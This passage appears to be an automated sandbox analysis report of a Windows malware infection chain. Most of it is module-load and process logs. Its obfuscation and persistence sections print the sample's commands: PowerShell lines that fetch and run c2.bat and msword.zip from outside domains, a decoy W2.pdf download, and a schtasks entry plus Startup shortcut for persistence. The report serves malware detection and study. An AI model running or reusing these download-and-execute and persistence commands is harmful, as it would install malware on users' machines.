Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\361684\Propose.comSection loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\361684\Propose.comSection loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\361684\Propose.comSection loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\361684\Propose.comSection loaded: ntmarta.dll
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\361684\Propose.comSection loaded: napinsp.dll
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\361684\Propose.comSection loaded: pnrpnsp.dll
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\361684\Propose.comSection loaded: wshbth.dll
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\361684\Propose.comSection loaded: nlaapi.dll
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\361684\Propose.comSection loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\361684\Propose.comSection loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\361684\Propose.comSection loaded: winrnr.dll
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\361684\Propose.comSection loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\361684\Propose.comSection loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\361684\Propose.comSection loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\361684\Propose.comSection loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\361684\Propose.comSection loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\361684\Propose.comSection loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\361684\Propose.comSection loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\361684\Propose.comSection loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\361684\Propose.comSection loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\361684\Propose.comSection loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\361684\Propose.comSection loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\361684\Propose.comSection loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\361684\Propose.comSection loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\361684\Propose.comSection loaded: winnsi.dll
Source: C:\Windows\SysWOW64\choice.exeSection loaded: version.dll
Source: C:\Windows\SysWOW64\schtasks.exeSection loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\schtasks.exeSection loaded: taskschd.dll
Source: C:\Windows\SysWOW64\schtasks.exeSection loaded: sspicli.dll
Source: C:\Windows\SysWOW64\schtasks.exeSection loaded: xmllite.dll
Source: C:\Windows\System32\wscript.exeSection loaded: version.dll
Source: C:\Windows\System32\wscript.exeSection loaded: kernel.appcore.dll
Source: C:\Windows\System32\wscript.exeSection loaded: uxtheme.dll
Source: C:\Windows\System32\wscript.exeSection loaded: sxs.dll
Source: C:\Windows\System32\wscript.exeSection loaded: jscript.dll
Source: C:\Windows\System32\wscript.exeSection loaded: iertutil.dll
Source: C:\Windows\System32\wscript.exeSection loaded: amsi.dll
Source: C:\Windows\System32\wscript.exeSection loaded: userenv.dll
Source: C:\Windows\System32\wscript.exeSection loaded: profapi.dll
Source: C:\Windows\System32\wscript.exeSection loaded: wldp.dll
Source: C:\Windows\System32\wscript.exeSection loaded: msasn1.dll
Source: C:\Windows\System32\wscript.exeSection loaded: cryptsp.dll
Source: C:\Windows\System32\wscript.exeSection loaded: rsaenh.dll
Source: C:\Windows\System32\wscript.exeSection loaded: cryptbase.dll
Source: C:\Windows\System32\wscript.exeSection loaded: msisip.dll
Source: C:\Windows\System32\wscript.exeSection loaded: wshext.dll
Source: C:\Windows\System32\wscript.exeSection loaded: scrobj.dll
Source: C:\Windows\System32\wscript.exeSection loaded: mpr.dll
Source: C:\Windows\System32\wscript.exeSection loaded: scrrun.dll
Source: C:\Windows\System32\wscript.exeSection loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\ConnectWare Technologies Ltd\LinkHub.comSection loaded: wsock32.dll
Source: C:\Users\user\AppData\Local\ConnectWare Technologies Ltd\LinkHub.comSection loaded: version.dll
Source: C:\Users\user\AppData\Local\ConnectWare Technologies Ltd\LinkHub.comSection loaded: winmm.dll
Source: C:\Users\user\AppData\Local\ConnectWare Technologies Ltd\LinkHub.comSection loaded: mpr.dll
Source: C:\Users\user\AppData\Local\ConnectWare Technologies Ltd\LinkHub.comSection loaded: wininet.dll
Source: C:\Users\user\AppData\Local\ConnectWare Technologies Ltd\LinkHub.comSection loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\ConnectWare Technologies Ltd\LinkHub.comSection loaded: userenv.dll
Source: C:\Users\user\AppData\Local\ConnectWare Technologies Ltd\LinkHub.comSection loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\ConnectWare Technologies Ltd\LinkHub.comSection loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\ConnectWare Technologies Ltd\LinkHub.comSection loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\ConnectWare Technologies Ltd\LinkHub.comSection loaded: wldp.dll
Source: C:\Windows\System32\wscript.exeSection loaded: version.dll
Source: C:\Windows\System32\wscript.exeSection loaded: kernel.appcore.dll
Source: C:\Windows\System32\wscript.exeSection loaded: uxtheme.dll
Source: C:\Windows\System32\wscript.exeSection loaded: sxs.dll
Source: C:\Windows\System32\wscript.exeSection loaded: jscript.dll
Source: C:\Windows\System32\wscript.exeSection loaded: iertutil.dll
Source: C:\Windows\System32\wscript.exeSection loaded: amsi.dll
Source: C:\Windows\System32\wscript.exeSection loaded: userenv.dll
Source: C:\Windows\System32\wscript.exeSection loaded: profapi.dll
Source: C:\Windows\System32\wscript.exeSection loaded: wldp.dll
Source: C:\Windows\System32\wscript.exeSection loaded: msasn1.dll
Source: C:\Windows\System32\wscript.exeSection loaded: cryptsp.dll
Source: C:\Windows\System32\wscript.exeSection loaded: rsaenh.dll
Source: C:\Windows\System32\wscript.exeSection loaded: cryptbase.dll
Source: C:\Windows\System32\wscript.exeSection loaded: msisip.dll
Source: C:\Windows\System32\wscript.exeSection loaded: wshext.dll
Source: C:\Windows\System32\wscript.exeSection loaded: scrobj.dll
Source: C:\Windows\System32\wscript.exeSection loaded: mpr.dll
Source: C:\Windows\System32\wscript.exeSection loaded: scrrun.dll
Source: C:\Users\user\AppData\Local\ConnectWare Technologies Ltd\LinkHub.comSection loaded: wsock32.dll
Source: C:\Users\user\AppData\Local\ConnectWare Technologies Ltd\LinkHub.comSection loaded: version.dll
Source: C:\Users\user\AppData\Local\ConnectWare Technologies Ltd\LinkHub.comSection loaded: winmm.dll
Source: C:\Users\user\AppData\Local\ConnectWare Technologies Ltd\LinkHub.comSection loaded: mpr.dll
Source: C:\Users\user\AppData\Local\ConnectWare Technologies Ltd\LinkHub.comSection loaded: wininet.dll
Source: C:\Users\user\AppData\Local\ConnectWare Technologies Ltd\LinkHub.comSection loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\ConnectWare Technologies Ltd\LinkHub.comSection loaded: userenv.dll
Source: C:\Users\user\AppData\Local\ConnectWare Technologies Ltd\LinkHub.comSection loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\ConnectWare Technologies Ltd\LinkHub.comSection loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\ConnectWare Technologies Ltd\LinkHub.comSection loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\ConnectWare Technologies Ltd\LinkHub.comSection loaded: wldp.dll
Source: C:\Windows\SysWOW64\mshta.exeKey value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{25336920-03F9-11CF-8FD0-00AA00686F13}\InProcServer32Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\tasklist.exe tasklist
Source: C:\Windows\SysWOW64\mshta.exeKey opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Internet Explorer\SettingsJump to behavior
Source: Window RecorderWindow detected: More than 3 window changes detected
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dllJump to behavior

Data Obfuscation

barindex
Suspicious powershell command line found
Source: C:\Windows\SysWOW64\mshta.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -Command "[Net.ServicePointManager]::SecurityProtocol=[Net.SecurityProtocolType]::Tls12;$u='https://candwfarmsllc.com/c2.bat';$o=$env:TEMP + '\c2.bat';Invoke-WebRequest -Uri $u -OutFile $o;Start-Process -FilePath $o -NoNewWindow"
Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -WindowStyle Hidden -Command "Invoke-WebRequest -Uri https://myguyapp.com/W2.pdf -OutFile C:\Users\user\Downloads\W2.pdf"
Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -WindowStyle Hidden -Command "Invoke-WebRequest -Uri https://myguyapp.com/msword.zip -OutFile C:\Users\user\AppData\Local\Temp\msword.zip"
Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -WindowStyle Hidden -Command "Expand-Archive -Path C:\Users\user\AppData\Local\Temp\msword.zip -DestinationPath C:\Users\user\AppData\Local\Temp\msword -Force"
Source: C:\Windows\SysWOW64\mshta.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -Command "[Net.ServicePointManager]::SecurityProtocol=[Net.SecurityProtocolType]::Tls12;$u='https://candwfarmsllc.com/c2.bat';$o=$env:TEMP + '\c2.bat';Invoke-WebRequest -Uri $u -OutFile $o;Start-Process -FilePath $o -NoNewWindow"Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -WindowStyle Hidden -Command "Invoke-WebRequest -Uri https://myguyapp.com/W2.pdf -OutFile C:\Users\user\Downloads\W2.pdf"Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -WindowStyle Hidden -Command "Invoke-WebRequest -Uri https://myguyapp.com/msword.zip -OutFile C:\Users\user\AppData\Local\Temp\msword.zip"Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -WindowStyle Hidden -Command "Expand-Archive -Path C:\Users\user\AppData\Local\Temp\msword.zip -DestinationPath C:\Users\user\AppData\Local\Temp\msword -Force"Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\msword\msword.exeCode function: 16_2_004062FC GetModuleHandleA,LoadLibraryA,GetProcAddress,16_2_004062FC
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeCode function: 2_2_046036D7 push ebx; iretd 2_2_046036DA
Source: C:\Users\user\AppData\Local\ConnectWare Technologies Ltd\LinkHub.comCode function: 36_2_00DF0DE6 push ecx; ret 36_2_00DF0DF9
Source: C:\Users\user\AppData\Local\ConnectWare Technologies Ltd\LinkHub.comCode function: 38_2_00A30DE6 push ecx; ret 38_2_00A30DF9

Persistence and Installation Behavior

barindex
Drops PE files with a suspicious file extension
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\361684\Propose.comFile created: C:\Users\user\AppData\Local\ConnectWare Technologies Ltd\LinkHub.comJump to dropped file
Source: C:\Windows\SysWOW64\cmd.exeFile created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\361684\Propose.comJump to dropped file
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile created: C:\Users\user\AppData\Local\Temp\msword\msword.exeJump to dropped file
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\361684\Propose.comFile created: C:\Users\user\AppData\Local\ConnectWare Technologies Ltd\LinkHub.comJump to dropped file
Source: C:\Windows\SysWOW64\cmd.exeFile created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\361684\Propose.comJump to dropped file

Boot Survival

barindex
Uses schtasks.exe or at.exe to add and modify task schedules
Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\schtasks.exe schtasks.exe /create /tn "Murray" /tr "wscript //B 'C:\Users\user\AppData\Local\ConnectWare Technologies Ltd\LinkHub.js'" /sc minute /mo 5 /F
Source: C:\Windows\SysWOW64\cmd.exeFile created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\LinkHub.url
Source: C:\Windows\SysWOW64\cmd.exeFile created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\LinkHub.url

Hooking and other Techniques for Hiding and Protection

barindex
Loading BitLocker PowerShell Module
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Users\user\AppData\Local\ConnectWare Technologies Ltd\LinkHub.comCode function: 36_2_00E626DD IsWindowVisible,IsWindowEnabled,GetForegroundWindow,IsIconic,IsZoomed,36_2_00E626DD
Source: C:\Users\user\AppData\Local\ConnectWare Technologies Ltd\LinkHub.comCode function: 36_2_00DEFC7C GetForegroundWindow,FindWindowW,IsIconic,ShowWindow,SetForegroundWindow,GetWindowThreadProcessId,GetWindowThreadProcessId,GetCurrentThreadId,GetWindowThreadProcessId,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,SetForegroundWindow,MapVirtualKeyW,MapVirtualKeyW,keybd_event,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,SetForegroundWindow,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,36_2_00DEFC7C
Source: C:\Users\user\AppData\Local\ConnectWare Technologies Ltd\LinkHub.comCode function: 38_2_00AA26DD IsWindowVisible,IsWindowEnabled,GetForegroundWindow,IsIconic,IsZoomed,38_2_00AA26DD
Source: C:\Users\user\AppData\Local\ConnectWare Technologies Ltd\LinkHub.comCode function: 38_2_00A2FC7C GetForegroundWindow,FindWindowW,IsIconic,ShowWindow,SetForegroundWindow,GetWindowThreadProcessId,GetWindowThreadProcessId,GetCurrentThreadId,GetWindowThreadProcessId,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,SetForegroundWindow,MapVirtualKeyW,MapVirtualKeyW,keybd_event,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,SetForegroundWindow,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,38_2_00A2FC7C
Source: C:\Windows\SysWOW64\mshta.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\mshta.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\mshta.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\mshta.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\mshta.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\cmd.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\cmd.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
